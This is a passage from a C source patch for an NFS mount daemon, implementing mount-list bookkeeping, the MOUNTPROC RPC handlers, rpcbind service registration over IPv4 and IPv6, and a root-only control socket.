PATH_MAX; + if (end - path > ssize) { + syslog(LOG_WARNING, "mntlist_read: too long (> %zd bytes) " + "path name", ssize); + return (MNTLIST_READ_FORMAT); + } + + fe = fs_exp_by_path(fs_exp_list, path); + if (fe == NULL || !(fe->oflags & OPT_EXPORTED) || + (fe->oflags & OPT_NO_MNT_DMP)) + return (MNTLIST_READ_SKIP); + + /* Find or create mnt_host. */ + if (strchr(host, '.') != NULL) { + family = AF_INET; + addr = &in_addr; + } else { + family = AF_INET6; + addr = &in6_addr; + } + switch (inet_pton(family, host, addr)) { + case 1: + break; + case 0: + syslog(LOG_WARNING, "mntlist_read: cannot interpret %s " + "address", host); + return (MNTLIST_READ_FORMAT); + default: + syslog(LOG_ERR, "mntlist_read: inet_pton: %m"); + return (MNTLIST_READ_IGNORE); + } + if (family == AF_INET) { + if (!have_ipv4) + return (MNTLIST_READ_SKIP); + sa4.sin_family = AF_INET; + sa4.sin_addr.s_addr = in_addr.s_addr; + ae = lookup_addr_exp(fe, (struct sockaddr *)&sa4); + if (ae == NULL || (ae->oflags & (OPT_DENY|OPT_NO_MNT_DMP))) + return (MNTLIST_READ_SKIP); + mh = mntlist_find_mh(fe, (struct sockaddr *)&sa4, 1); + } else { + if (!have_ipv6) + return (MNTLIST_READ_SKIP); + sa6.sin6_family = AF_INET6; + sa6.sin6_addr = in6_addr; + ae = lookup_addr_exp(fe, (struct sockaddr *)&sa6); + if (ae == NULL || (ae->oflags & (OPT_DENY|OPT_NO_MNT_DMP))) + return (MNTLIST_READ_SKIP); + mh = mntlist_find_mh(fe, (struct sockaddr *)&sa6, 1); + } + if (mh == NULL) + return (MNTLIST_READ_SKIP); + + /* Check duplicated directory. */ + mp = mntlist_find_mp(mh, subpath); + if (mp != NULL) { + syslog(LOG_WARNING, "mntlist_read: found duplicated path for " + "host %s", host); + return (MNTLIST_READ_FORMAT); + } + + /* New directory. */ + if ((mp = malloc(sizeof(*mp))) == NULL || (subpath != subpath_empty && + (mp->subpath = strdup(subpath)) == NULL)) { + syslog(LOG_ERR, "mntlist_read: malloc/strdup: %m"); + free(mp); + if (LIST_EMPTY(&mh->mp_list)) { + LIST_REMOVE(mh, link); + free(mh); + } + return (MNTLIST_READ_IGNORE); + } + if (subpath == subpath_empty) + mp->subpath = subpath_empty; + LIST_INSERT_HEAD(&mh->mp_list, mp, link); + + return (MNTLIST_READ_OK); +} + +/* + * Read MNTLISTFILE and create lists of hosts and mounted paths. + * Maximum length of one line in MNTLISTFILE is: IPv6 address, one space, + * maximum path length plus one '/' as a subpath separator and + * new-line character (and NUL character at the end). + */ +static int +mntlist_read(void) +{ + FILE *fp; + int error; + char str[INET6_ADDRSTRLEN + PATH_MAX + 2]; + + error = 0; + if (no_mntproc_dump) + goto done; + + fp = fopen(MNTLISTFILE, "r"); + if (fp == NULL) { + if (errno != ENOENT) + syslog(LOG_ERR, "mntlist_read: cannot open %s for " + "reading: %m", MNTLISTFILE); + return (0); + } + + while (fgets(str, (int)sizeof(str), fp) != NULL) + switch (mntlist_read_line(str, sizeof(str))) { + case MNTLIST_READ_OK: + continue; + case MNTLIST_READ_FORMAT: + syslog(LOG_ERR, "mntlist_read: wrong format of %s: " + "ignoring line \"%s\"", MNTLISTFILE, str); + continue; + case MNTLIST_READ_IGNORE: + syslog(LOG_ERR, "mntlist_read: ignoring line \"%s\"", + str); + continue; + case MNTLIST_READ_SKIP: + continue; + } + + if (ferror(fp)) { + syslog(LOG_ERR, "mntlist_read: read from %s failed, " + "ignoring rest of lines: %m", MNTLISTFILE); + error = -1; + } + + if (fclose(fp) != 0) { + syslog(LOG_ERR, "mntlist_read: fclose(%s): %m", MNTLISTFILE); + error = -1; + } +done: + if (unlink(MNTLISTFILE) < 0) { + if (errno != ENOENT) + error = -1; + syslog(LOG_ERR, "mntlist_read: unlink(%s): %m", MNTLISTFILE); + } + + return (error); +} + +/* + * Remove host and path from the appropriate mount list. + */ +static void +mntlist_del(struct fs_exp *fe, const struct sockaddr *sa, const char *path) +{ + struct mnt_host *mh; + struct mnt_path *mp; + + mh = mntlist_find_mh(fe, sa, 0); + if (mh == NULL) + return; + + path += fe->path_len; + if (*path == '\0') + path = subpath_empty; + else + path++; + + mp = mntlist_find_mp(mh, path); + if (mp != NULL) { + LIST_REMOVE(mp, link); + if (mp->subpath != subpath_empty) + free(mp->subpath); + free(mp); + if (LIST_EMPTY(&mh->mp_list)) { + LIST_REMOVE(mh, link); + free(mh); + } + } +} + +/* + * Remove all mount entries with the given host. + */ +static void +mntlist_del_host(const struct sockaddr *sa) +{ + const struct fs_exp_list *fe_list; + struct fs_exp *fe; + struct mnt_host *mh; + + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + if ((fe->oflags & OPT_EXPORTED) || + (fe->oflags & OPT_NO_MNT_DMP)) + continue; + mh = mntlist_find_mh(fe, sa, 0); + if (mh != NULL) + mntlist_free_mh(mh); + } +} + +/* + * Add host and path to the appropriate mount list. + */ +static void +mntlist_add(struct fs_exp *fe, const struct sockaddr *sa, const char *path) +{ + struct mnt_host *mh; + struct mnt_path *mp; + + mh = mntlist_find_mh(fe, sa, 1); + if (mh == NULL) + return; + + path += fe->path_len; + if (*path == '\0') + path = subpath_empty; + else + path++; + + mp = mntlist_find_mp(mh, path); + if (mp != NULL) + return; + + if ((mp = malloc(sizeof(*mp))) == NULL || + (path != subpath_empty && (mp->subpath = strdup(path)) == NULL)) { + syslog(LOG_ERR, "mntlist_add: malloc/strdup: %m"); + free(mp); + if (LIST_EMPTY(&mh->mp_list)) { + LIST_REMOVE(mh, link); + free(mh); + } + } else { + if (path == subpath_empty) + mp->subpath = subpath_empty; + LIST_INSERT_HEAD(&mh->mp_list, mp, link); + } +} + +/* + * Convert errno value to appropriate NFS error number. + * NFSv2 and NFSv3 define error code, both standards share the same + * enumeration for most of error codes. + */ +static u_int +errno_to_nfserr(int error) +{ + switch (error) { + case EACCES: + error = NFSERR_ACCES; + break; + case ENOENT: + error = NFSERR_NOENT; + break; + case ENOTDIR: + error = NFSERR_NOTDIR; + break; + case EIO: + error = NFSERR_IO; + break; + case ENAMETOOLONG: + error = NFSERR_NAMETOL; + break; + default: + error = NFSERR_ACCES; + } + return (error); +} + +#define MNTSRV_RET_OK 0 /* Procedure succeeded. */ +#define MNTSRV_RET_RETURN 1 /* Procedure finished, return. */ +#define MNTSRV_RET_CANTREPLY 2 /* Cannot send some reply. */ +#define MNTSRV_RET_CANTDECODE 3 /* Cannot decode request. */ +#define MNTSRV_RET_FAILED 4 /* Some error occurred. */ + +/* + * NULLPROC. + */ +static int +mntproc_nullproc(SVCXPRT *xprt) +{ + if (!svc_sendreply(xprt, (xdrproc_t)xdr_void, NULL)) + return (MNTSRV_RET_CANTREPLY); + return (MNTSRV_RET_OK); +} + +/* + * MOUNTPROC MNT. + */ +static int +mntproc_mnt(SVCXPRT *xprt, struct svc_req *rqst, const struct sockaddr *sa, + const char *host) +{ + struct statfs statfsbuf; + struct stat statbuf; + struct fhreturn fhr; + const struct addr_exp *ae; + struct fs_exp *fe; + int error; + char rpcpath[RPCMNT_PATHLEN + 1]; + char path[PATH_MAX]; + + if (!svc_getargs(xprt, (xdrproc_t)xdr_path, rpcpath)) + return (MNTSRV_RET_CANTDECODE); + + if (realpath(rpcpath, path) == NULL) { + error = EACCES; + syslog(LOG_NOTICE, "mntproc_mnt: request from %s for %s: " + "realpath failed at %s: %m", host, rpcpath, path); + } else if (statfs(path, &statfsbuf) < 0) { + error = errno; + syslog(LOG_NOTICE, "mntproc_mnt: request from %s for %s: " + "statfs(%s): %m", host, rpcpath, path); + if (crit_fs_err(error)) + return (MNTSRV_RET_FAILED); + error = EACCES; + } else if (lstat(path, &statbuf) < 0) { + error = errno; + syslog(LOG_NOTICE, "mntproc_mnt: request from %s for %s: " + "lstat(%s): %m", host, rpcpath, path); + if (crit_fs_err(error)) + return (MNTSRV_RET_FAILED); + } else if (!S_ISDIR(statbuf.st_mode) && + (dir_only || !S_ISREG(statbuf.st_mode))) { + error = ENOTDIR; + syslog(LOG_NOTICE, "mntproc_mnt: request from %s for %s: " + "resolved path %s is %s", host, rpcpath, path, + dir_only ? "not a directory" : + "neither a directory nor a regular file"); + } else + error = 0; + + if (error == EACCES) { + /* Send reply immediately, since statfs() could fail. */ + goto failed; + } + + /* File system exists. */ + fe = fs_exp_by_id(&statfsbuf.f_fsid); + if (fe == NULL) { + /* If file system is not exported, then deny. */ + error = EACCES; + goto failed; + } + if (strncmp(fe->path, path, fe->path_len) != 0) { + /* Outdated fs_exp structure, it will be synchronized soon. */ + error = EACCES; + goto failed; + } + ae = lookup_addr_exp(fe, sa); + if (ae == NULL || (ae->oflags & OPT_DENY)) { + /* File system is not exported to a client. */ + error = EACCES; + syslog(LOG_NOTICE, "mntproc_mnt: deny request from %s for %s " + "(resolved %s)", host, rpcpath, path); + goto failed; + } + + /* File system is exported to client. */ + if (error != 0) { + /* + * Report a true error code to client, since it is + * allowed to mount this file system. + */ + goto failed; + } + + /* Can export requested path, return file handle. */ + fhr.fhr_vers = rqst->rq_vers; + memset(&fhr.fhr_fh, 0, sizeof(fhr.fhr_fh)); + if (getfh(path, (fhandle_t *)&fhr.fhr_fh) < 0) { + error = errno; + syslog(LOG_NOTICE, "mntproc_mnt: getfh(%s): %m", path); + if (crit_fs_err(error)) + return (MNTSRV_RET_FAILED); + goto failed; + } + fhr.fhr_nsec = ae->secflavors->nsec; + fhr.fhr_sec = ae->secflavors->sec; + if (!svc_sendreply(xprt, (xdrproc_t)xdr_fhs, &fhr)) + return (MNTSRV_RET_CANTREPLY); + if (!(ae->oflags & OPT_NO_MNT_DMP)) + mntlist_add(fe, sa, path); + if (log_cli_reqs) + syslog(LOG_NOTICE, "mntproc_mnt: request succeeded from " + "%s for %s (resolved path %s, matched %s address spec in " + "file system %s)", + host, rpcpath, path, ae->addr_spec != NULL ? + addr_spec_str(sa->sa_family, ae->addr_spec) : "default", + fe->path); + return (MNTSRV_RET_RETURN); + +failed: + error = errno_to_nfserr(error); + if (!svc_sendreply(xprt, (xdrproc_t)xdr_int, &error)) + return (MNTSRV_RET_CANTREPLY); + return (MNTSRV_RET_RETURN); +} + +/* + * MOUNTPROC DUMP. + */ +static int +mntproc_dump(SVCXPRT *xprt) +{ + if (!svc_sendreply(xprt, (xdrproc_t)xdr_mntlist, NULL)) + return (MNTSRV_RET_CANTREPLY); + return (MNTSRV_RET_OK); +} + +/* + * MOUNTPROC UMNT. + */ +static int +mntproc_umnt(SVCXPRT *xprt, const struct sockaddr *sa, const char *host) +{ + char rpcpath[RPCMNT_PATHLEN + 1]; + char path[PATH_MAX]; + + if (!svc_getargs(xprt, (xdrproc_t)xdr_path, rpcpath)) + return (MNTSRV_RET_CANTDECODE); + if (realpath(rpcpath, path) == NULL) { + syslog(LOG_NOTICE, "mntproc_umnt: request from %s for %s: " + "realpath failed at %s: %m", host, rpcpath, path); + path[0] = '\0'; + } else if (!no_mntproc_dump) { + struct statfs statfsbuf; + + if (statfs(path, &statfsbuf) < 0) + syslog(LOG_NOTICE, "mntproc_umnt: request from %s " + "for %s: statfs(%s): %m", host, rpcpath, path); + else { + struct fs_exp *fe; + + fe = fs_exp_by_id(&statfsbuf.f_fsid); + if (fe != NULL && !(fe->oflags & OPT_NO_MNT_DMP) && + strncmp(fe->path, path, fe->path_len) == 0) + mntlist_del(fe, sa, path); + } + } + if (!svc_sendreply(xprt, (xdrproc_t)xdr_void, NULL)) + return (MNTSRV_RET_CANTREPLY); + if (log_cli_reqs) + syslog(LOG_NOTICE, "mntproc_umnt: request succeeded " + "from %s for %s (resolved path %s)", host, rpcpath, + path[0] != '\0' ? path : ""); + return (MNTSRV_RET_RETURN); +} + +/* + * MOUNTPROC UMNTALL. + */ +static int +mntproc_umntall(SVCXPRT *xprt, const struct sockaddr *sa) +{ + if (!svc_sendreply(xprt, (xdrproc_t)xdr_void, NULL)) + return (MNTSRV_RET_CANTREPLY); + if (!no_mntproc_dump) + mntlist_del_host(sa); + return (MNTSRV_RET_OK); +} + +/* + * MOUNTPROC EXPORT. + */ +static int +mntproc_export(SVCXPRT *xprt) +{ + if (!svc_sendreply(xprt, (xdrproc_t)xdr_export_compl, NULL) && + !svc_sendreply(xprt, (xdrproc_t)xdr_export_brief, NULL)) + return (MNTSRV_RET_CANTREPLY); + return (MNTSRV_RET_OK); +} + +/* + * The RPCPROG_MNT service dispatch procedure. + */ +static void +mntsrv_dispatch(struct svc_req *rqst, SVCXPRT *xprt) +{ + const struct sockaddr *sa; + const void *addr; + u_int family; + uint32_t rq_proc; + in_port_t port; + char host[INET6_ADDRSTRLEN]; + + sa = svc_getrpccaller(xprt)->buf; + + switch (family = sa->sa_family) { + case AF_INET: + port = ntohs(((const struct sockaddr_in *)sa)->sin_port); + addr = &((const struct sockaddr_in *)sa)->sin_addr; + break; + case AF_INET6: + port = ntohs(((const struct sockaddr_in6 *)sa)->sin6_port); + addr = &((const struct sockaddr_in6 *)sa)->sin6_addr; + break; + default: + syslog(LOG_ERR, "mntsrv_dispatch: request from unsupported " + "address family %u", family); + return; + } + if (inet_ntop(family, addr, host, sizeof(host)) == NULL) { + syslog(LOG_ERR, "mntsrv_dispatch: inet_ntop: %m"); + host[0] = '?'; + host[1] = '\0'; + } + + rq_proc = rqst->rq_proc; + if (rq_proc <= RPCMNT_MAX_NUMBER) { + const struct mntproc_req *mpreq; + int rv; + + mpreq = &mntproc_req[rq_proc]; + if (mpreq->priv && port >= IPPORT_RESERVED && resvport_only) { + syslog(LOG_NOTICE, "mntproc_%s: deny request from %s " + "from unprivileged port %"PRIu16, mpreq->name, + host, port); + svcerr_weakauth(xprt); + return; + } + switch (rq_proc) { + case NULLPROC: + rv = mntproc_nullproc(xprt); + break; + case RPCMNT_MOUNT: + rv = mntproc_mnt(xprt, rqst, sa, host); + break; + case RPCMNT_DUMP: + rv = mntproc_dump(xprt); + break; + case RPCMNT_UMOUNT: + rv = mntproc_umnt(xprt, sa, host); + break; + case RPCMNT_UMNTALL: + rv = mntproc_umntall(xprt, sa); + break; + case RPCMNT_EXPORT: + rv = mntproc_export(xprt); + break; + default: + syslog(LOG_ERR, "mntsrv_dispatch: unexpected " + "procedure number %"PRIu32, rq_proc); + return; + } + switch (rv) { + case MNTSRV_RET_OK: + if (log_cli_reqs) + syslog(LOG_NOTICE, "mntproc_%s: request <%s> " + "succeeded from %s", mpreq->name, + mpreq->name, host); + break; + case MNTSRV_RET_RETURN: + break; + case MNTSRV_RET_CANTREPLY: + syslog(LOG_ERR, "mntproc_%s: cannot send reply to %s", + mpreq->name, host); + break; + case MNTSRV_RET_CANTDECODE: + syslog(LOG_ERR, "mntproc_%s: cannot decode request " + "from %s", mpreq->name, host); + break; + case MNTSRV_RET_FAILED: + syslog(LOG_ERR, "mntproc_%s: some system call " + "unexpectedly failed", mpreq->name); + break; + } + } else { + syslog(LOG_ERR, "mntsrv_dispatch: unknown request number " + "%"PRIu32" from %s", rq_proc, host); + svcerr_noproc(xprt); + } +} + +/* + * Establish a mapping between RPC mount, version number, network + * and address on the rpcbind service. + */ +static int +mntsrv_set(const rpcvers_t versnum, const struct netconf *netconf, + struct sockaddr *sa) +{ + struct netbuf netbuf; + struct in6_addr in6_addr; + struct in_addr in_addr; + + /* + * Have to set wildcard address here, since rpcbind does not allow + * multiple settings for the same network ID. + */ + if (sa->sa_family == AF_INET) { + in_addr = ((struct sockaddr_in *)sa)->sin_addr; + ((struct sockaddr_in *)sa)->sin_addr.s_addr = + htonl(INADDR_ANY); + } else { + in6_addr = ((struct sockaddr_in6 *)sa)->sin6_addr; + ((struct sockaddr_in6 *)sa)->sin6_addr = in6addr_any; + } + + netbuf.maxlen = netbuf.len = sa->sa_len; + netbuf.buf = sa; + if (!rpcb_set(RPCPROG_MNT, versnum, netconf->nc, &netbuf)) { + syslog(LOG_ERR, "mntsrv_set: network %s: rpcb_set failed " + "for RPCMNT_VER%"PRIu32, netconf->netid, versnum); + return (-1); + } + + /* Restore address. */ + if (sa->sa_family == AF_INET) + ((struct sockaddr_in *)sa)->sin_addr = in_addr; + else + ((struct sockaddr_in6 *)sa)->sin6_addr = in6_addr; + + return (0); +} + +/* + * Create and register RPCPROG_MNT service for given socket address. + */ +static int +mntsrv_reg(const u_int netidnum, struct sockaddr *sa, const char *host) +{ + const struct netconfig *nc; + const struct netconf *netconf; + const char *netid; + SVCXPRT *xprt; + in_port_t *port; + u_int bufsize, family; + int fd, val, socktype, sockproto; + char ver1_reg, ver3_reg; + + netconf = &netconf_tbl[netidnum]; + netid = netconf->netid; + nc = netconf->nc; + if (nc == NULL) { + syslog(LOG_WARNING, "mntsrv_reg: host %s, network %s: cannot " + "create service since corresponding netconfig is absent", + host, netid); + return (0); + } + if (!netconf->visible) + return (0); + + if (netidnum == NETID_TCP || netidnum == NETID_TCP6) { + socktype = SOCK_STREAM; + sockproto = IPPROTO_TCP; + } else { + socktype = SOCK_DGRAM; + sockproto = IPPROTO_UDP; + } + + family = sa->sa_family; + + fd = socket(family, socktype, sockproto); + if (fd < 0) { + val = errno; + syslog(LOG_WARNING, "mntsrv_reg: host %s, network %s: " + "socket: %m", host, netid); + return (val == EPROTONOSUPPORT ? 0 : -1); + } + + if (family == AF_INET) + port = &((struct sockaddr_in *)sa)->sin_port; + else { + val = 1; + if (setsockopt(fd, IPPROTO_IPV6, IPV6_V6ONLY, &val, + sizeof(val)) < 0) { + syslog(LOG_ERR, "mntsrv_reg: cannot set IPv6-only " + "binding socket: %m"); + goto failed; + } + port = &((struct sockaddr_in6 *)sa)->sin6_port; + } + *port = svcport; + + if (svcport == 0) { + if (bindresvport_sa(fd, sa) < 0) { + syslog(LOG_ERR, "mntsrv_reg: host %s, network %s: " + "bindresvport_sa: %m", host, netid); + goto failed; + } + } else if (bind(fd, sa, sa->sa_len) < 0) { + syslog(LOG_ERR, "mntsrv_reg: host %s, port %"PRIu16", " + "network %s: bind: %m", host, ntohs(svcport), netid); + goto failed; + } + + if (netidnum == NETID_TCP || netidnum == NETID_TCP6) { + if (listen(fd, SOMAXCONN) < 0) { + syslog(LOG_ERR, "mntsrv_reg: listen: %m"); + goto failed; + } + bufsize = RPC_MAXDATASIZE; + } else + bufsize = 0; + + /* + * Create service and check correspondence between settings of + * bound socket and used netconfig. + */ + xprt = svc_tli_create(fd, nc, (struct t_bind *)NULL, bufsize, bufsize); + if (xprt == NULL) { + syslog(LOG_WARNING, "mntsrv_reg: host %s, network %s: " + "svc_tli_create failed", host, netid); + goto failed; + } + + if (!svc_reg(xprt, RPCPROG_MNT, RPCMNT_VER1, mntsrv_dispatch, + (struct netconfig *)NULL)) { + syslog(LOG_WARNING, "mntsrv_reg: host %s, network %s: " + "cannot register RPCMNT_VER1 service", host, netid); + ver1_reg = 0; + } else { + ver1_reg = 1; + if (rpcmnt_reg[0].net[netidnum] == 0) { + if (mntsrv_set(RPCMNT_VER1, netconf, sa) < 0) + return (-1); + rpcmnt_reg[0].net[netidnum] = 1; + } + } + + ver3_reg = 0; + if (!force_nfsv2) { + if (!svc_reg(xprt, RPCPROG_MNT, RPCMNT_VER3, mntsrv_dispatch, + (struct netconfig *)NULL)) { + syslog(LOG_WARNING, "mntsrv_reg: host %s, " + "network %s: cannot register RPCMNT_VER3 service", + host, netid); + } else { + ver3_reg = 1; + if (rpcmnt_reg[1].net[netidnum] == 0) { + if (mntsrv_set(RPCMNT_VER3, netconf, sa) < 0) + return (-1); + rpcmnt_reg[1].net[netidnum] = 1; + } + } + } + + if (!ver1_reg && !ver3_reg) { + svc_destroy(xprt); + return (-1); + } + + if (family == AF_INET) + have_ipv4 = 1; + else + have_ipv6 = 1; + + return (0); + +failed: + if (close(fd) < 0) + syslog(LOG_ERR, "mntsrv_reg: close: %m"); + return (-1); +} + +/* + * Create and register all RPCPROG_MNT services. + */ +static int +mntsrv_setup(char *const *hosts, const u_int nhosts) +{ + static struct addrinfo hints = { + .ai_flags = AI_NUMERICHOST, + .ai_family = AF_UNSPEC, + .ai_socktype = SOCK_DGRAM, + .ai_protocol = IPPROTO_UDP, + .ai_addrlen = 0, + .ai_addr = NULL, + .ai_canonname = NULL, + .ai_next = NULL + }; + + struct sockaddr_in6 sa6; + struct sockaddr_in sa4; + const struct netconfig *nc; + const char *host; + struct netconf *netconf; + struct sockaddr *sa; + struct addrinfo *ai; + void *nc_handle; + u_int i, n; + int error; + + /* Destroy the mapping. */ + (void)rpcb_unset(RPCPROG_MNT, RPCMNT_VER1, (struct netconfig *)NULL); + (void)rpcb_unset(RPCPROG_MNT, RPCMNT_VER3, (struct netconfig *)NULL); + + /* Get network configuration from netconfig. */ + nc_handle = setnetconfig(); + if (nc_handle == NULL) { + syslog(LOG_ERR, "mntsrv_setup: setnetconfig failed"); + return (-1); + } + n = 0; + while ((nc = getnetconfig(nc_handle)) != NULL) + for (i = 0; i < NC_TBL_SIZE; ++i) { + netconf = &netconf_tbl[i]; + if (strcmp(netconf->netid, nc->nc_netid) == 0) { + netconf->nc = nc; + netconf->visible = + (nc->nc_flag & NC_VISIBLE) ? 1 : 0; + break; + } + } + n = 0; + for (i = 0; i < NC_TBL_SIZE; ++i) { + netconf = &netconf_tbl[i]; + if (netconf->nc != NULL && netconf->visible) + ++n; + } + if (n == 0) { + syslog(LOG_ERR, "mntsrv_setup: could not find any suitable " + "netconfig"); + return (-1); + } + + /* Create and register transports. */ + memset(&sa4, 0, sizeof(sa4)); + sa4.sin_len = sizeof(sa4); + sa4.sin_family = AF_INET; + memset(&sa6, 0, sizeof(sa6)); + sa6.sin6_len = sizeof(sa6); + sa6.sin6_family = AF_INET6; + if (nhosts == 0) { + /* Wild card addresses */ + sa4.sin_addr.s_addr = htonl(INADDR_ANY); + sa = (struct sockaddr *)&sa4; + if (mntsrv_reg(NETID_TCP, sa, "0.0.0.0") < 0 || + mntsrv_reg(NETID_UDP, sa, "0.0.0.0") < 0) + return (-1); + sa6.sin6_addr = in6addr_any; + sa = (struct sockaddr *)&sa6; + if (mntsrv_reg(NETID_TCP6, sa, "::") < 0 || + mntsrv_reg(NETID_UDP6, sa, "::") < 0) + return (-1); + } else { + /* Given address plus loopbacks. */ + for (i = 0; i < nhosts; ++i) { + host = hosts[i]; + error = getaddrinfo(host, (char *)NULL, &hints, &ai); + if (error != 0) { + if (error == EAI_NONAME) + syslog(LOG_WARNING, "mntsrv_setup: " + "cannot interpreter %s address", + host); + else + syslog(LOG_WARNING, "mntsrv_setup: " + "getaddrinfo(%s): %s", host, + gai_strerror(error)); + continue; + } + switch (ai->ai_family) { + case AF_INET: + sa4.sin_addr = ((struct sockaddr_in *) + ai->ai_addr)->sin_addr; + if (sa4.sin_addr.s_addr == + htonl(INADDR_LOOPBACK)) + break; + sa = (struct sockaddr *)&sa4; + if (mntsrv_reg(NETID_TCP, sa, host) < 0 || + mntsrv_reg(NETID_UDP, sa, host) < 0) + return (-1); + break; + case AF_INET6: + sa6.sin6_addr = ((struct sockaddr_in6 *) + ai->ai_addr)->sin6_addr; + if (addrcmp(sa6.sin6_addr.s6_addr, + in6addr_loopback.s6_addr, + IPV6_ADDR_LEN) == 0) + break; + sa = (struct sockaddr *)&sa6; + if (mntsrv_reg(NETID_TCP6, sa, host) < 0 || + mntsrv_reg(NETID_UDP6, sa, host) < 0) + return (-1); + break; + default: + syslog(LOG_WARNING, "mntsrv_setup: cannot " + "interpreter \"%s\" address", host); + } + freeaddrinfo(ai); + } + sa4.sin_addr.s_addr = htonl(INADDR_LOOPBACK); + sa = (struct sockaddr *)&sa4; + if (mntsrv_reg(NETID_TCP, sa, "127.0.0.1") < 0 || + mntsrv_reg(NETID_UDP, sa, "127.0.0.1") < 0) + return (-1); + sa6.sin6_addr = in6addr_loopback; + sa = (struct sockaddr *)&sa6; + if (mntsrv_reg(NETID_TCP6, sa, "::1") < 0 || + mntsrv_reg(NETID_UDP6, sa, "::1") < 0) + return (-1); + } + + if (endnetconfig(nc_handle) < 0) { + syslog(LOG_ERR, "mntsrv_setup: endnetconfig failed"); + return (-1); + } + + if (rpcmnt_reg[0].any == 0 && rpcmnt_reg[1].any == 0) { + syslog(LOG_ERR, "mntsrv_setup: could not create any service"); + return (-1); + } + + return (0); +} + +/* + * Destroy created mappings. + */ +static int +mntsrv_unsetup(void) +{ + int rv; + + rv = 0; + if (rpcmnt_reg[0].any != 0 && + !rpcb_unset(RPCPROG_MNT, RPCMNT_VER1, (struct netconfig *)NULL)) { + syslog(LOG_ERR, "mntsrv_unsetup: rpcb_unset failed for " + "RPCMNT_VER1"); + rv = -1; + } + if (rpcmnt_reg[1].any != 0 && + !rpcb_unset(RPCPROG_MNT, RPCMNT_VER3, (struct netconfig *)NULL)) { + syslog(LOG_ERR, "mntstv_unsetup: rpcb_unset failed for " + "RPCMNT_VER3"); + rv = -1; + } + return (rv); +} + +/* + * Receive, unpack a control command. Perform actions and send the answer. + */ +static int +ctl_server(void) +{ + static struct ctl_ans_hdr ctl_ans_hdr = { + .version = CTL_API_VERSION, + .size = 0 + }; + + struct xucred xucred; + socklen_t slen; + ssize_t ssize; + u_int command; + int fd, rv, error; + + /* Do not need timeout, since listen socket is non-blockable. */ + fd = accept(ctl_listen_fd, (struct sockaddr *)NULL, (socklen_t *)NULL); + if (fd < 0) { + switch (errno) { + case EWOULDBLOCK: + case ECONNABORTED: + /* Ignore interrupted connection. */ + return (0); + } + syslog(LOG_ERR, "ctl_server: accept: %m"); + return (-1); + } + + ctl_cmd_buf = NULL; + error = -1; + + if (set_block(fd) < 0) { + syslog(LOG_ERR, "ctl_server: cannot make accepted socket " + "blockable"); + goto done; + } + + slen = sizeof(xucred); + if (getsockopt(fd, 0, LOCAL_PEERCRED, &xucred, &slen) < 0) { + syslog(LOG_ERR, "ctl_server: getsockopt(LOCAL_PEERCRED): %m"); + goto done; + } + if (slen != sizeof(xucred) || xucred.cr_version != XUCRED_VERSION) { + syslog(LOG_WARNING, "ctl_server: getsockopt(LOCAL_PEERCRED) " + "returned wrong option"); + goto done; + } + + error = 0; + + if (xucred.cr_uid != 0) { + syslog(LOG_WARNING, "ctl_server: request from not super-user"); + goto done; + } + + /* Receive the header. */ + ssize = read(fd, &ctl_cmd_hdr, sizeof(ctl_cmd_hdr)); + if (ssize < 0) { + syslog(LOG_WARNING, "ctl_server: read (command header): %m"); + goto done; + } + if (ssize != sizeof(ctl_cmd_hdr)) { + syslog(LOG_WARNING, "ctl_server: read (command header): read " + "%zd of %zu bytes", ssize, sizeof(ctl_cmd_hdr)); + goto done; + } + + if (ctl_cmd_hdr.version != CTL_API_VERSION) { + syslog(LOG_WARNING, "ctl_server: wrong control command " + "protocol version %u, my version is %u", + ctl_cmd_hdr.version, CTL_API_VERSION); + goto done; + } + if (ctl_cmd_hdr.size > CTL_MSG_MAX_SIZE) { + syslog(LOG_WARNING, "ctl_server: message size %zu bigger " + "than allowed size %u", ctl_cmd_hdr.size, + CTL_MSG_MAX_SIZE); + goto done; + } + + if (ctl_cmd_hdr.size > 0) { + /* Receive data. */ + ctl_cmd_buf = malloc(ctl_cmd_hdr.size); + if (ctl_cmd_buf == NULL) { + syslog(LOG_ERR, "ctl_server: malloc(%zu): %m", + ctl_cmd_hdr.size); + goto done; + } + ssize = read(fd, ctl_cmd_buf, ctl_cmd_hdr.size); + if (ssize < 0) { + syslog(LOG_WARNING, "ctl_server: read (command " + "data): %m"); + goto done; + } + if ((size_t)ssize != ctl_cmd_hdr.size) { + syslog(LOG_WARNING, "ctl_server: read (command " + "data): read %zd of %zu bytes", ssize, + ctl_cmd_hdr.size); + goto done; + } + } + + switch (command = ctl_cmd_hdr.command) { + case CTL_CMD_EXPORT: + rv = ctl_export_unpack(); + break; + case CTL_CMD_RELOAD: + rv = ctl_reload_unpack(); + break; + case CTL_CMD_FLUSH: + rv = ctl_flush_unpack(); + break; + default: + syslog(LOG_WARNING, "ctl_server: unknown command code %u", + ctl_cmd_hdr.command); + rv = -2; + } + + if (rv < 0) { + ctl_ans_hdr.answer = rv == -1 ? + CTL_ANS_ERROR : CTL_ANS_FORMAT; + syslog(LOG_WARNING, "ctl_server: %s control command", + rv == -1 ? "cannot unpack" : "wrong format of"); + } else { + ctl_ans_hdr.answer = CTL_ANS_OK; + switch (command) { + case CTL_CMD_EXPORT: + if (update_conf(1) < 0) { + ctl_ans_hdr.answer = CTL_ANS_REJECTED; + syslog(LOG_WARNING, "ctl_server: control " + "command was rejected, since updates " + "cannot be applied to the current " + "configuration"); + } else if (expspec_func(EXPSPEC_FN_UPDATE) < 0) { + ctl_ans_hdr.answer = CTL_ANS_ERROR; + error = -1; + } else if (update_conf(0) < 0) { + syslog(LOG_ERR, "ctl_server: update_conf " + "unexpectedly failed"); + return (-1); + } + free_fs_exp_list(&fs_exp_list_update); + free_unref_conf(); + break; + case CTL_CMD_RELOAD: + if (configure(1) < 0) + if (syserr_flag) { + ctl_ans_hdr.answer = CTL_ANS_ERROR; + error = -1; + } + if (error == 0) { + if (expspec_func(EXPSPEC_FN_RELOAD) < 0) { + ctl_ans_hdr.answer = CTL_ANS_ERROR; + error = -1; + } else { + mntlist_inherit(); + free_fs_exp_list(fs_exp_list_prev); + free_unref_conf(); + } + } + break; + case CTL_CMD_FLUSH: + free_fs_exp_list(fs_exp_list); + if (expspec_func(EXPSPEC_FN_CLEAR) < 0) { + ctl_ans_hdr.answer = CTL_ANS_ERROR; + error = -1; + } + break; + } + } + + /* Send the answer. */ + ssize = write(fd, &ctl_ans_hdr, sizeof(ctl_ans_hdr)); + if (ssize < 0) { + syslog(LOG_WARNING, "ctl_server: write (answer header): %m"); + goto done; + } + if (ssize != sizeof(ctl_ans_hdr)) { + syslog(LOG_WARNING, 